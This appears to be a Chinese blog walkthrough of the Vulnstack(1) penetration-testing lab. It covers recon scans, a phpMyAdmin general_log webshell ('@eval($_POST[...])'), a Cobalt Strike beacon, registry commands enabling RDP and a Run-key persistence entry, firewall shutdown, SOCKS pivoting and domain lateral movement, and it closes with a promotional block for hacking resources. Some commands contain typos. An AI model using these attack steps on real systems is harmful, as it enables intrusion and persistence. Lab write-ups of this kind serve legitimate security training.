admin管理员组

文章数量:1638754

0x00 Preface

网上有很多关于 Vulnstack(一) 的优质文章,本篇文章仅用于记录笔者自身的学习过程。因能力有限,过程中多多少少存在不完善的地方或是未解决的问题,日后有机会会补充上。

内网渗透基础总结:手把手教你如何进行内网渗透

0x01 环境准备

共有三台机器,Win7是对外的web机,Win2003和Win2008(DC)是内网机器。

  • VM1(Win7)添加一块网卡,分别设置为:VMnet1(仅主机模式)、VMnet8(NAT模式)

  • VM2(Win2003)网卡设置为:VMnet1(仅主机模式)

  • VM2(Win2008)网卡设置为:VMnet1(仅主机模式)

导入虚拟机后不要过多操作如移除打印机等,否则可能会出现一些问题。建议大家每次打开靶机时都先打开Win2008(DC)再打开Win7和Win2003,关闭靶机是先关闭Win7和Win2003再关闭Win2008(DC),尽量避免出现环境问题吧。

首先打开Win2008(DC),使用域成员账号 GOD\liukaifeng01 初始密码 hongrisec@2019 登录,提示密码已过期,更改密码为 hongrisec@2021。接着切换用户,使用域管理员账号 GOD\Administrator 重复上述操作。最后重启Win2008,域数据联网更新后密码将自动同步至Win7与Win2003(域成员账号密码均存储在DC中,域数据更新同步前仍使用本地缓存的密码进行认证)。打开Win7提示激活,直接取消即可:

找到并打开phpstudy.exe,启动服务(若启动失败,重启Win7即可):


打开Firefox访问localhost,已确认服务启动:

整理一下:

攻击机kali:192.168.202.130
域成员Win7:192.168.202.132&192.168.52.143
域控Win2008:192.168.52.138
域成员Win2003:192.168.52.141
DNS服务器:192.168.52.138

当然喽,这是我们站在上帝视角,便于我们确认环境无误的。正常来说,拿到Win7的IP,然后开始我们的渗透之旅。

0x02 信息收集

一、探测靶机IP

使用nmap对同一C段主机进行扫描:

nmap -sP 192.168.202.1/24


使用arp-scan对同网段主机进行扫描:

arp-scna -l


在靶机上执行ifconfig进行确认(实战中拿下靶机前无法实现这一步):

二、端口扫描

使用nmap对靶机进行全扫描(扫描前确保phpstudy的服务已成功启动):

nmap -Pn -A 192.168.202.129


使用御剑对靶机进行全扫描:

三、目录扫描

使用dirb对靶机进行目录扫描 :

dirb "http://192.168.202.132"


使用dirmap对靶机进行目录扫描:

python3 dirmap.py -i 192.168.202.132 -lcf


四、指纹识别

使用whatweb对靶机上的网站进行指纹识别:

whtaweb http://192.168.202.132


使用御剑对靶机上的网站进行指纹识别:

使用cmscan对靶机上的网站进行指纹识别:

指纹识别依托于目录爆破,没有扫描到关键的cms信息既可能是字典的问题,也可能是靶机上根本就没有部署这样的网站。

0x03 漏洞探测

访问http://192.168.202.132/phpifno.php:

phpinfo.php中存在许多关键信息,不过要具体漏洞具体分析。

访问http://192.168.202.132/phpmyadmin:

此处可能存在session包含和弱口令,如果成功登录不仅可以可以在数据库中翻阅用户敏感信息,还可以尝试日志包含或直接向文件中写shell。

访问http://192.168.202.132/beifen.rar,解压缩后得到yxcms文件夹:

YXcms是一款基于PHP+MySql开发的网站管理系统,采用轻量级MVC设计模式。

在\protected\config.php中找到phpmyadmin的用户名和密码:

尝试访问http://192.168.202.132/yxcms:

访问成功,并在公告信息处找到后台路径及用户名和密码,若成功登陆则可尝试写shell。

0x04 漏洞利用

一、phpmyadmin

登录phpmyadmin,查看用户权限:

show grants for root@localhost;


查看secure_file_priv:

show variables like "secure";


查看general_log和general_log_file:

show variables like "%general%";


打开日志并修改日志路径:

set global general_log="on"; #开启日志
set global general_log_file="C:/phpStudy/WWW/a.php" #修改日志路径

需要注意的是,secure_file_priv的值无法通过上述方法进行修改:

MySQL 文件读写

写shell后一键连接:

select "<?php @eval($_POST['a']); ?>";



二、yxcms

登录后台尝试写shell:

编辑index_index.php(path:/yxcms/index.php),写shell后一键连接:

0x05 权限提升

使用CS建立监听后生成可执行木马:

使用shell上传:

shell中执行:

成功上线:

进行漏洞提权:


成功获取system权限:

0x06 远程登录

获取凭证:

查看3389端口是否开启:

netstat -ano|findstr "3389"


开启3389端口:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


补充一下,关闭3389端口&开启3389端口的另一种方法:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1


远程连接:

远程连接失败,本地ping一下试试:

无法ping通,猜测受到防火墙阻拦,关闭防火墙:

net stop mpssvc


成功关闭后仍无法ping通,远程连接失败:

使用CS可以轻松连接,但延迟会很高:

0x07 权限维持

将C:/phpStudy/WWW/artifact.exe添加为注册表启动项:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v evil /t REG_SZ /d "C:\phpStudy\WWW\artifact.exe" /f


关闭Win7并重启CS:

重启Win7,未能成功上线,权限维持失败。经检验,在shell中执行的命令未能生效,而在本地执行该命令就能成功创建:


具体原因暂且不详,也可以尝试一下其他方法如写入Startup目录,或者直接使用CS插件。

0x08 横向移动

一、内网穿透

正常来说,我们是无法访问通过Win7的内网IP访问服务的:

因此想要漫游内网,就必须要进行内网穿透。这里我们以Win7为跳板,给它挂上代理:

然后随便选择一个未被占用的端口,这里我选的是9050:

然后使用proxychain为kali挂上代理:

vim /etc/proxychains4.conf


使用代理,成功通过Win7内网IP访问服务:

proxychains4 curl http://192.168.52.143


需要注意的是,不要用ping进行验证,因为proxychains只会代理TCP连接,而ping使用的是ICMP。

这里延申一下,起初我以为通过CS实现的代理仅是简单的正向连接,但实际情况却与之不符。如果使用的是正向连接,那么9050端口就应该是在跳板机(Win7)上打开的,但经查实9050端口却是在kali上打开的:


这也就是为什么我们前面使用proxychains设置代理时使用的是127.0.0.1 9050,而不是Win7的192.168.202.132 9050。

故我猜测,通过CS内置功能([beacon] → Pivoting → SOCKS Server)实现的SOCKS v4代理,实质上是通过反弹SOCKS v4服务器实现的:kali开启9050监听和xxx监听(将9050端口的流量转发至xxx端口)然后Win7反弹SOCKS v4服务器到kali的xxx端口。

这样以来就符合实际情况了,kali上所有经过9050的端口的流量都将被转发至xxx端口,xxx端口再将流量转发至Win7,最后再通过Win7访问其他内网机器。由于这里CS服务端和客户端都是在kali上运行的,因此kali既充当攻击机,又充当公网VPS。

举一反三,假设CS的服务端是在Unbuntu上运行的,kali仍作为攻击机运行CS客户端,那么proxychains应该怎么设置呢?没猜错的话应该设置成Unbuntu的IP吧。

如何从零构建对内网穿透的理解

二、信息收集

查看域信息:

net view


共发现三台主机。注意这里不要使用提权后的system用户去执行命令,否则不会显示Win7的STU1,此外还会导致后面的一些命令无法执行。

查看DNS服务器:

ipconfig/all


查看当前登录域与用户信息:

net config workstation


这条命令查询到的信息非常全,包含上条命令查询到的DNS服务器。

前面的命令在CS中都以shell开头,指明执行的是cmd命令。下面我们通过CS内置的功能进行信息收集(前面已经完成了内网穿透,使用kali上的nmap等工具也行,这里不再进行演示)。

探测域内存活主机:


不对啊,这45.xx.xx.xx是几个意思?应该是环境问题,确保三台靶机都是开启状态再执行一次:


感觉还是有问题的,不知道是什么原因导致的,暂且不管了。

端口扫描:


这次的IP应该是正确的了,端口扫描发现三台主机均开启了139端口:

445/139端口怎么利用不用多说了吧,不了解的自行百度。

三、漏洞利用

首先我们开启一个SMB监听:


然后利用CS内置的jump模块进行传递:


0x09 Summary

整体来说比较简单,过一段时间会再用msf走一遍这个靶场,到时候再做补充。

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

本文标签: Vulnstack